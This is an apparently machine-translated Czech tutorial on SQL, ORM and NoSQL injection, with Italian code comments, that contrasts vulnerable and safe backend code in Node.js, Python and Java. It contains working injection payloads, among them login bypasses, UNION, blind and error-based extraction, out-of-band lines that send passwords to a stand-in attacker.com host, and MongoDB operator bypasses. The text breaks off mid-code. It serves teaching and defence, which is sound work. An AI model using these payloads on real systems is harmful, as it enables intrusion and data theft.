03 - SQL Injection a Input Validation: Backend Security
SQL injection je jednou z nejstarších a nejnebezpečnějších zranitelností na webu. Poprvé zdokumentováno na konci 90. let 20. století a dnes stále v centru katastrofických úniků dat: v roce 2024 podle Verizon DBIR způsobily injekce SQL a další útoky webových aplikací 26 % všech úniků dat. Více se očekává v roce 2025 2 600 CVE související s SQL injection, což je nárůst z 2 400 v roce 2024.
Nejde jen o klasické SQL dotazy. Dnes se hrozby rozšiřují do Injekce ORM na TypeORM a Prisma, at Injekce NoSQL na MongoDB a útoky druhé generace, které využívají data již přítomná v databázi. Tento článek analyzuje každou variantu se zranitelným a bezpečným kódem v Node.js, Pythonu a Javě a poskytuje komplexní obrannou strategii pro backend.
Co se naučíte
- Kompletní anatomie SQL injection: UNION, slepá, časově založená, chybová, mimo pásmo
- SQL injection druhého řádu: jak to funguje a proč uniká povrchním kontrolám
- Injekce ORM na TypeORM a Prisma s praktickými příklady
- Injekce NoSQL na MongoDB s operátory jako $ne a $regex
- Připravené příkazy a parametrizované dotazy v Node.js, Pythonu a Javě
- Ověření vstupu pomocí Zod (Node.js), Pydantic (Python) a Bean Validation (Java)
- Zpevnění databáze a princip nejmenšího privilegia
- Jak používat SQLMap k testování aplikací
- Skutečné případové studie: MOVEit Transfer, TSA FlyCASS, ResumeLooters
Anatomie SQL injekce
Injekce SQL nastane, když Neplatný uživatelský vstup je zřetězen přímo do SQL dotazu, což umožňuje útočníkovi upravit logiku samotného dotazu. Základní architektonický problém: zacházení s daty jako se spustitelným kódem.
Podívejme se na nejjednodušší případ, přihlašovací stránku v Node.js, která vytváří dotaz se zřetězením řetězců:
// CODICE VULNERABILE - Node.js con mysql2
const express = require('express');
const mysql = require('mysql2/promise');
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// VULNERABILE: concatenazione diretta di input utente
const query = `SELECT * FROM users
WHERE username = '${username}'
AND password = '${password}'`;
const [rows] = await db.execute(query);
if (rows.length > 0) {
res.json({ success: true, user: rows[0] });
} else {
res.status(401).json({ error: 'Credenziali non valide' });
}
});
// ATTACCO: username = "admin' --"
// Query risultante:
// SELECT * FROM users
// WHERE username = 'admin' --' AND password = '...'
// Il -- commenta il resto: accesso garantito senza password!
Pět typů SQL injekce
1. Classic / UNION-Based
Útočník využívá operátora UNION přidat druhý dotaz k výsledkům prvního. Vyžaduje, aby odpověď aplikace zahrnovala data dotazu:
-- Payload UNION-based: estrae utenti dalla tabella users
-- Input: id = 1 UNION SELECT username, password, NULL FROM users --
-- Query originale:
SELECT product_name, price, description FROM products WHERE id = 1
-- Query iniettata:
SELECT product_name, price, description FROM products WHERE id = 1
UNION SELECT username, password, NULL FROM users --
-- Prerequisito: stesso numero di colonne, tipi compatibili
2. Blind Boolean-Based
Aplikace nezobrazuje data databáze, ale mění chování (např. zobrazuje nebo skrývá obsah) na základě pravdivosti/nepravdy injektovaného stavu. Útočník vyvozuje informace kousek po kousku:
-- Payload boolean-based: verifica se la prima lettera dell'utente e 'a'
-- Se la pagina risponde normalmente: condizione vera
-- Se la pagina e vuota: condizione falsa
-- Vero (pagina normale):
GET /product?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a'
-- Falso (pagina vuota):
GET /product?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='b'
-- Automatizzabile con sqlmap o script custom per estrarre dati carattere per carattere
3. Blind Time-Based
Když aplikace žádným viditelným způsobem nezmění odpověď, útočník použije funkce, které způsobují zpoždění v databázi, aby odvodil informace z doby odezvy:
-- MySQL: SLEEP() per estrarre informazioni dal timing
-- Se la risposta impiega 5 secondi: condizione vera
-- Se risponde subito: condizione falsa
-- Verifica se il database si chiama 'production':
GET /product?id=1 AND IF(
(SELECT database())='production',
SLEEP(5),
0
) --
-- PostgreSQL equivalente con pg_sleep():
-- id=1; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users --
-- Microsoft SQL Server:
-- id=1; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'--
4. Na základě chyb
Útočník přinutí databázi generovat chybové zprávy, které obsahují extrahovaná data. Funguje to, když aplikace uživateli zobrazí chyby databáze (časté nesprávné konfigurace ve vývojových prostředích špatně nakonfigurovaných pro produkci):
-- MySQL error-based: extractvalue() genera un errore con il valore estratto
-- id=1 AND extractvalue(1, concat(0x7e, (SELECT database())))
-- Errore restituito all'utente:
-- ERROR 1105 (HY000): XPATH syntax error: '~production_db'
-- L'attaccante ottiene il nome del database dall'errore!
-- PostgreSQL: cast di tipo per forzare errore
-- id=1 AND cast((SELECT version()) as int)
-- Error: invalid input syntax for type integer:
-- "PostgreSQL 15.2 on x86_64-pc-linux-gnu"
5. Mimo pásmo (OOB)
Pokročilá technika, která exfiltruje data prostřednictvím alternativních kanálů (vyhledávání DNS, požadavek HTTP) spíše než prostřednictvím normální odpovědi HTTP. Užitečné, když jsou blokovány kanály uvnitř pásma:
-- MySQL OOB via DNS (richiede FILE privilege e outbound DNS):
-- id=1 AND load_file(concat('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\x'))
-- Microsoft SQL Server OOB via HTTP (xp_dirtree o sp_makewebtask):
-- id=1; EXEC master..xp_dirtree '\\attacker.com\' + (SELECT TOP 1 password FROM users) + '\share'
-- L'attaccante vede la richiesta nei log DNS di attacker.com:
-- admin:5f4dcc3b5aa765d61d8327deb882cf99.attacker.com
SQL Injection druhého řádu: Skrytá hrozba
La SQL injection druhého řádu (nebo uložený SQL injection) je jednou z nejzákeřnějších zranitelností, protože uniká standardním bezpečnostním kontrolám. Užitná zátěž se neprovede okamžitě po vložení, ale je uloženy v databázi a pak načteny a použity v následném dotazu bez dostatečné hygieny.
Tento scénář je obzvláště nebezpečný, protože: kód pro vložení může být správný a bezpečný, ale kód pro čtení a použití je zranitelný. Testy povrchové penetrace ji často míjejí.
// SCENARIO: registrazione utente e cambio password
// FASE 1 - Registrazione (apparentemente sicura con prepared statement)
app.post('/register', async (req, res) => {
const { username, password } = req.body;
// Usa prepared statement - sembra sicuro!
await db.execute(
'INSERT INTO users (username, password) VALUES (?, ?)',
[username, hash(password)]
);
// L'attaccante si registra con username: admin'--
// Salvato correttamente nel DB come stringa: admin'--
});
// FASE 2 - Cambio password (VULNERABILE: costruisce query con dato dal DB)
app.post('/change-password', async (req, res) => {
const userId = req.session.userId;
// Recupera username dal DB (sembra "sicuro" perchè viene dal nostro DB)
const [userRows] = await db.execute(
'SELECT username FROM users WHERE id = ?',
[userId]
);
const username = userRows[0].username; // = "admin'--"
const { newPassword } = req.body;
// VULNERABILE: concatena username recuperato dal DB
const query = `UPDATE users SET password = '${hash(newPassword)}'
WHERE username = '${username}'`;
// Query risultante:
// UPDATE users SET password = 'newhash' WHERE username = 'admin'--'
// Aggiorna la password dell'admin, non dell'attaccante!
await db.execute(query);
});
// SOLUZIONE: usa parameterized query ANCHE quando i dati vengono dal DB
app.post('/change-password-safe', async (req, res) => {
const userId = req.session.userId;
const [userRows] = await db.execute(
'SELECT username FROM users WHERE id = ?',
[userId]
);
const username = userRows[0].username;
const { newPassword } = req.body;
// SICURO: prepared statement anche per dati interni
await db.execute(
'UPDATE users SET password = ? WHERE username = ?',
[hash(newPassword), username]
);
});
Zlaté pravidlo pro vstřikování druhého řádu
VŽDY zacházejte s daty přicházejícími z databáze jako s nedůvěryhodnými, zejména pokud byly původně odeslány uživateli. To, že něco pochází z vaší databáze, neznamená automaticky, že je to bezpečné pro použití v dotazu. Vždy používejte parametrizované dotazy bez ohledu na zdroj dat.
Parametrizované dotazy: Hlavní obrana
I připravená prohlášení (nebo parametrizované dotazy) jsou nejúčinnějším protiopatřením proti SQL injection. Princip je jednoduchý: struktura dotazu je odeslána do databáze odděleně z dat, ve dvou odlišných fázích. Databáze sestaví plán provádění před přijetím dat, která proto nemůže změnit logiku dotazu.
Node.js s mysql2
// SICURO: parameterized queries con mysql2
const mysql = require('mysql2/promise');
const pool = mysql.createPool({
host: process.env.DB_HOST,
user: process.env.DB_USER,
password: process.env.DB_PASSWORD,
database: process.env.DB_NAME,
// Opzione di sicurezza: disabilita multiple statements
multipleStatements: false,
});
// Login sicuro
async function loginUser(username, password) {
// Il ? e un placeholder: mysql2 gestisce l'escaping automaticamente
const [rows] = await pool.execute(
'SELECT id, username, role FROM users WHERE username = ? AND password = ?',
[username, hashPassword(password)]
);
return rows[0] || null;
}
// Ricerca con LIKE sicura
async function searchProducts(searchTerm, category, limit = 20) {
// Anche i wildcard % devono essere nel parametro, non nella query
const likeTerm = `%${searchTerm}%`;
const [rows] = await pool.execute(
`SELECT id, name, price FROM products
WHERE name LIKE ? AND category = ?
LIMIT ?`,
[likeTerm, category, limit]
);
return rows;
}
// Inserimento sicuro con validazione
async function createUser(userData) {
const { username, email, password, role = 'user' } = userData;
// Whitelist per il campo role (non parametrizzabile come identifier)
const allowedRoles = ['user', 'moderator'];
if (!allowedRoles.includes(role)) {
throw new Error('Ruolo non valido');
}
const [result] = await pool.execute(
'INSERT INTO users (username, email, password_hash, role) VALUES (?, ?, ?, ?)',
[username, email, hashPassword(password), role]
);
return result.insertId;
}
Python s psycopg2 (PostgreSQL)
# SICURO: parameterized queries con psycopg2
import psycopg2
import psycopg2.extras
from contextlib import contextmanager
@contextmanager
def get_db_connection():
conn = psycopg2.connect(
host=os.environ['DB_HOST'],
database=os.environ['DB_NAME'],
user=os.environ['DB_USER'],
password=os.environ['DB_PASSWORD']
)
try:
yield conn
finally:
conn.close()
def get_user_by_id(user_id: int) -> dict | None:
"""
Usa %s come placeholder (NON f-string o format()).
psycopg2 gestisce l'escaping dei parametri in modo sicuro.
"""
with get_db_connection() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
# Corretto: placeholder %s con tupla di parametri
cur.execute(
"SELECT id, username, email, role FROM users WHERE id = %s",
(user_id,) # Nota la virgola: deve essere una tupla
)
return cur.fetchone()
def search_users(filters: dict) -> list[dict]:
"""
Costruzione dinamica sicura di query con parametri multipli.
Evita di costruire SQL dinamico con concatenazione.
"""
conditions = []
params = []
if 'username' in filters:
conditions.append("username ILIKE %s")
params.append(f"%{filters['username']}%")
if 'role' in filters:
# Whitelist per valori enumerati
allowed_roles = {'user', 'admin', 'moderator'}
if filters['role'] not in allowed_roles:
raise ValueError(f"Ruolo non valido: {filters['role']}")
conditions.append("role = %s")
params.append(filters['role'])
where_clause = " AND ".join(conditions) if conditions else "TRUE"
query = f"SELECT id, username, email, role FROM users WHERE {where_clause}"
with get_db_connection() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute(query, params)
return cur.fetchall()
# SBAGLIATO - Non fare mai questo:
# cur.execute(f"SELECT * FROM users WHERE id = {user_id}") # f-string = vulnerabile
# cur.execute("SELECT * FROM users WHERE id = " + str(user_id)) # concatenazione = vulnerabile
# cur.execute("SELECT * FROM users WHERE id = %s" % user_id) # % formatting = vulnerabile
Java s JDBC PreparedStatement
// SICURO: PreparedStatement con JDBC in Java
import java.sql.*;
import java.util.Optional;
public class UserRepository {
private final DataSource dataSource;
public UserRepository(DataSource dataSource) {
this.dataSource = dataSource;
}
// SICURO: PreparedStatement parametrizzato
public Optional<User> findByUsername(String username) {
String sql = "SELECT id, username, email, role FROM users WHERE username = ?";
try (Connection conn = dataSource.getConnection();
PreparedStatement stmt = conn.prepareStatement(sql)) {
stmt.setString(1, username); // Parametro 1-indexed
ResultSet rs = stmt.executeQuery();
if (rs.next()) {
return Optional.of(new User(
rs.getLong("id"),
rs.getString("username"),
rs.getString("email"),
rs.getString("role")
));
}
return Optional.empty();
} catch (SQLException e) {
throw new DatabaseException("Errore nella ricerca utente", e);
}
}
// Inserimento sicuro con transazione
public long createUser(String username, String email, String passwordHash) {
String sql = "INSERT INTO users (username, email, password_hash, created_at) " +
"VALUES (?, ?, ?, NOW())";
try (Connection conn = dataSource.getConnection()) {
conn.setAutoCommit(false);
try (PreparedStatement stmt = conn.prepareStatement(
sql, Statement.RETURN_GENERATED_KEYS)) {
stmt.setString(1, username);
stmt.setString(2, email);
stmt.setString(3, passwordHash);
stmt.executeUpdate();
conn.commit();
ResultSet keys = stmt.getGeneratedKeys();
if (keys.next()) {
return keys.getLong(1);
}
throw new DatabaseException("Impossibile ottenere ID generato");
} catch (SQLException e) {
conn.rollback();
throw new DatabaseException("Errore creazione utente", e);
}
} catch (SQLException e) {
throw new DatabaseException("Errore connessione database", e);
}
}
// SBAGLIATO - Statement.execute() con concatenazione:
// String sql = "SELECT * FROM users WHERE username = '" + username + "'";
// stmt.execute(sql); // MAI fare questo!
}
Injekce ORM: Když „bezpečné“ nestačí
Mnoho vývojářů se mylně domnívá, že použití ORM (Object-Relational Mapper) automaticky eliminuje riziko SQL injection. Ve skutečnosti podle studie z roku 2025 Více než 30 % aplikací využívajících ORM stále obsahuje zranitelnost vkládání SQL kvůli nesprávným vzorům používání. Podívejme se na nejčastější případy.
TypeORM: Nezpracované dotazy a QueryBuilder
// TypeORM - Pattern VULNERABILI vs SICURI
import { DataSource, Repository } from 'typeorm';
import { User } from './entities/User';
// VULNERABILE 1: query() con interpolazione di stringa
async function findUserVulnerable(username: string) {
const result = await dataSource.query(
`SELECT * FROM users WHERE username = '${username}'`
// Se username = "admin' OR '1'='1", bypass immediato!
);
return result;
}
// SICURO 1: query() con parametri posizionali
async function findUserSafe(username: string) {
const result = await dataSource.query(
'SELECT id, username, email FROM users WHERE username = $1',
[username] // Parametri come array separato
);
return result;
}
// VULNERABILE 2: QueryBuilder con where() e interpolazione
async function searchUserVulnerable(role: string, search: string) {
return await dataSource
.createQueryBuilder(User, 'user')
.where(`user.role = '${role}' AND user.username LIKE '%${search}%'`)
// Interpolazione diretta = SQL injection!
.getMany();
}
// SICURO 2: QueryBuilder con parametri nominati
async function searchUserSafe(role: string, search: string) {
// Whitelist per campi enumerati come role
const allowedRoles = ['user', 'admin', 'moderator'] as const;
if (!allowedRoles.includes(role as any)) {
throw new Error('Ruolo non valido');
}
return await dataSource
.createQueryBuilder(User, 'user')
.where('user.role = :role AND user.username LIKE :search', {
role, // Parametro nominato :role
search: `%${search}%` // Il % viene nel parametro, non nella query
})
.select(['user.id', 'user.username', 'user.email'])
.getMany();
}
// SICURO 3: Repository API (il modo più sicuro con TypeORM)
async function findUsersByRoleSafe(
userRepository: Repository<User>,
role: string
) {
return await userRepository.findBy({ role });
// TypeORM genera automaticamente query parametrizzate
}
// SICURO 4: find() con condizioni complesse
async function findActiveUsersSafe(
userRepository: Repository<User>
) {
return await userRepository.find({
where: {
isActive: true,
role: 'user'
},
select: {
id: true,
username: true,
email: true
},
take: 100 // Limita i risultati
});
}
Prism: Případ $queryRaw
Prisma je obecně považována za bezpečnou pro standardní dotazy, ale metody $queryRaw e $executeRaw require special attention. Výzkum z roku 2025 ukázal, že Prisma může být zranitelná vůči útokům založené na čase prostřednictvím operátorů JSON a databázových funkcí.
// Prisma - Pattern VULNERABILI vs SICURI
import { PrismaClient } from '@prisma/client';
const prisma = new PrismaClient();
// VULNERABILE: $queryRaw con template literal non sicuro
async function getUserVulnerable(userId: string) {
// MAI usare $queryRawUnsafe con input utente!
const result = await prisma.$queryRawUnsafe(
`SELECT * FROM users WHERE id = ${userId}`
// userId = "1 OR 1=1" bypassa il filtro!
);
return result;
}
// SICURO 1: $queryRaw con tagged template literals
// Prisma parametrizza automaticamente le interpolazioni nel tagged template
async function getUserSafe(userId: number) {
// Nota: usa Prisma.sql template tag, NON stringa normale
const result = await prisma.$queryRaw`
SELECT id, username, email FROM users WHERE id = ${userId}
`;
// Prisma converte ${userId} in un parametro preparato automaticamente
return result;
}
// SICURO 2: Usa l'API standard di Prisma quando possibile
async function getUserWithOrders(userId: number) {
return await prisma.user.findUnique({
where: { id: userId },
select: {
id: true,
username: true,
email: true,
orders: {
where: { status: 'active' },
take: 10
}
}
});
// Completamente sicuro: Prisma genera prepared statements
}
// ATTENZIONE: Prisma findMany con where esposto all'utente
// VULNERABILE: ORM Leak - espone troppi dati
async function searchUsersVulnerable(userFilter: any) {
return await prisma.user.findMany({
where: userFilter, // L'utente controlla il where = ORM Leak!
// Un attaccante può usare: { password: { startsWith: 'a' } }
// Per estrarre la password carattere per carattere (timing attack)
});
}
// SICURO: schema di validazione strict per i filtri
import { z } from 'zod';
const UserSearchSchema = z.object({
username: z.string().max(50).optional(),
email: z.string().email().optional(),
role: z.enum(['user', 'moderator']).optional(),
});
async function searchUsersSafe(rawFilter: unknown) {
// Valida e trasforma il filtro con schema strict
const validFilter = UserSearchSchema.parse(rawFilter);
return await prisma.user.findMany({
where: validFilter, // Solo campi consentiti e validati
select: { // Seleziona esplicitamente i campi
id: true,
username: true,
email: true,
role: true,
},
take: 50,
});
}
NoSQL Injection: MongoDB a Dangerous Operators
Aplikace, které používají databáze NoSQL, jako je MongoDB, nejsou imunní vůči injekcím. NoSQL útoky využívají dotazovací operátory databáze (např $ne, $gt, $regex), chcete-li změnit logiku dotazu. Typickým vektorem útoku je chybné tělo JSON v požadavku HTTP.
// MongoDB con Mongoose - VULNERABILE
const express = require('express');
const User = require('./models/User');
// VULNERABILE: usa direttamente req.body come query MongoDB
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Se il body e: { "username": { "$ne": null }, "password": { "$ne": null } }
// La query diventa: WHERE username != null AND password != null
// Ritorna il PRIMO utente nel DB, bypass completo!
const user = await User.findOne({ username, password });
if (user) {
res.json({ token: generateToken(user) });
} else {
res.status(401).json({ error: 'Non autorizzato' });
}
});
// Payload di attacco (come JSON body):
// {
// "username": { "$ne": null },
// "password": { "$ne": null }
// }
// Altri payload comuni:
// { "username": { "$regex": ".*" } } -- match qualsiasi username
// { "password": { "$gt": "" } } -- password > stringa vuota (sempre vero)
// { "username": { "$in": ["admin", "root", "administrator"] } }
// MongoDB con Mongoose - SICURO
const express = require('express');
const mongoose = require('mongoose');
const mongoSanitize = require('express-mongo-sanitize');
const { z } = require('zod');
const bcrypt = require('bcrypt');
// 1. Middleware globale di sanitizzazione
app.use(mongoSanitize({
replaceWith: '_', // Sostituisce $ con _ negli operatori
onSanitizeError(req, res) {
res.status(400).json({ error: 'Input non valido' });
}
}));
// 2. Schema Zod per validazione strict del tipo
const LoginSchema = z.object({
username: z.string().min(3).max(50).regex(/^[a-zA-Z0-9_]+$/),
password: z.string().min(8).max(128),
});
// SICURO: validazione + hashing password + nessuna query con password in chiaro
app.post('/login', async (req, res) => {
try {
// Valida il tipo: username e password DEVONO essere stringhe
const { username, password } = LoginSchema.parse(req.body);
// Cerca per username (stringa validata, non oggetto)
const user = await User.findOne({ username }).select('+password');
if (!user) {
// Tempo di risposta costante per prevenire timing attacks
await bcrypt.compare(password, '$2b$10$placeholder.hash.here.for.timing');
return res.status(401).json({ error: 'Credenziali non valide' });
}
// Verifica password con bcrypt (non in chiaro nel DB)
const isValid = await bcrypt.compare(password, user.password);
if (!isValid) {
return res.status(401).json({ error: 'Credenziali non valide' });
}
res.json({ token: generateToken(user) });
} catch (error) {
if (error instanceof z.ZodError) {
return res.status(400).json({ error: 'Formato input non valido' });
}
// Non esporre dettagli dell'errore interno
res.status(500).json({ error: 'Errore del server' });
}
});
// 3. Mongoose schema con strict mode (default: true)
const userSchema = new mongoose.Schema({
username: { type: String, required: true, unique: true },
email: { type: String, required: true },
password: { type: String, required: true, select: false },
role: { type: String, enum: ['user', 'admin', 'moderator'], default: 'user' }
}, {
strict: true, // Ignora campi non definiti nello schema
// sanitizeFilter: true // Mongoose 6+: sanitizza automaticamente i query operator
});
// 4. Usa sanitizeFilter per query che accettano filtri utente
const UserModel = mongoose.model('User', userSchema);
async function findUsersByFilter(rawFilter) {
// sanitizeFilter: true nel modello previene ORM injection
// oppure usa questo approccio esplicito:
return await UserModel.find(rawFilter).sanitizeFilter(true);
}
Ověření vstupu: První linie obrany
Parametrizované dotazy chrání před SQL injection, aleověření vstupu je první obrannou bariérou a výrazně snižuje útočnou plochu. Robustní validace se řídí principem seznam povolených (uveďte, co je povoleno), spíše než seznam blokovaných (uveďte, co je zakázáno).
Zod pro Node.js/TypeScript
// Input validation con Zod - Node.js/TypeScript
import { z } from 'zod';
// Schema riutilizzabile per parametri comuni
const IdSchema = z.coerce.number().int().positive().max(2147483647);
const PaginationSchema = z.object({
page: z.coerce.number().int().min(1).default(1),
limit: z.coerce.number().int().min(1).max(100).default(20),
sortBy: z.enum(['created_at', 'username', 'email']).default('created_at'),
sortOrder: z.enum(['asc', 'desc']).default('desc'),
});
// Schema per creazione utente
const CreateUserSchema = z.object({
username: z
.string()
.min(3, 'Username troppo corto')
.max(50, 'Username troppo lungo')
.regex(/^[a-zA-Z0-9_-]+$/, 'Caratteri non consentiti nell\'username'),
email: z
.string()
.email('Formato email non valido')
.max(255),
password: z
.string()
.min(8, 'Password troppo corta')
.max(128, 'Password troppo lunga')
.regex(
/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])/,
'La password deve contenere maiuscole, minuscole, numeri e caratteri speciali'
),
role: z.enum(['user', 'moderator']).default('user'),
});
// Middleware di validazione generico per Express
function validateBody<T>(schema: z.ZodSchema<T>) {
return (req: Request, res: Response, next: NextFunction) => {
const result = schema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({
error: 'Dati non validi',
details: result.error.issues.map(issue => ({
field: issue.path.join('.'),
message: issue.message,
})),
});
}
req.body = result.data; // Sostituisce con dati validati e tipizzati
next();
};
}
function validateQuery<T>(schema: z.ZodSchema<T>) {
return (req: Request, res: Response, next: NextFunction) => {
const result = schema.safeParse(req.query);
if (!result.success) {
return res.status(400).json({
error: 'Parametri query non validi',
details: result.error.issues,
});
}
req.validatedQuery = result.data;
next();
};
}
// Uso nei router
app.post('/api/users',
validateBody(CreateUserSchema),
async (req, res) => {
// req.body e ora tipizzato e validato
const user = await createUser(req.body);
res.status(201).json({ id: user.id });
}
);
app.get('/api/products',
validateQuery(PaginationSchema),
async (req, res) => {
const { page, limit, sortBy, sortOrder } = req.validatedQuery;
const products = await getProducts(page, limit, sortBy, sortOrder);
res.json(products);
}
);
Pydantic pro Python/FastAPI
# Input validation con Pydantic v2 - Python/FastAPI
from pydantic import BaseModel, Field, field_validator, EmailStr
from typing import Literal
from enum import Enum
import re
class UserRole(str, Enum):
user = "user"
moderator = "moderator"
admin = "admin"
class CreateUserRequest(BaseModel):
username: str = Field(
min_length=3,
max_length=50,
description="Username alfanumerico"
)
email: EmailStr
password: str = Field(min_length=8, max_length=128)
role: UserRole = UserRole.user
@field_validator('username')
@classmethod
def username_alphanumeric(cls, v: str) -> str:
if not re.match(r'^[a-zA-Z0-9_-]+






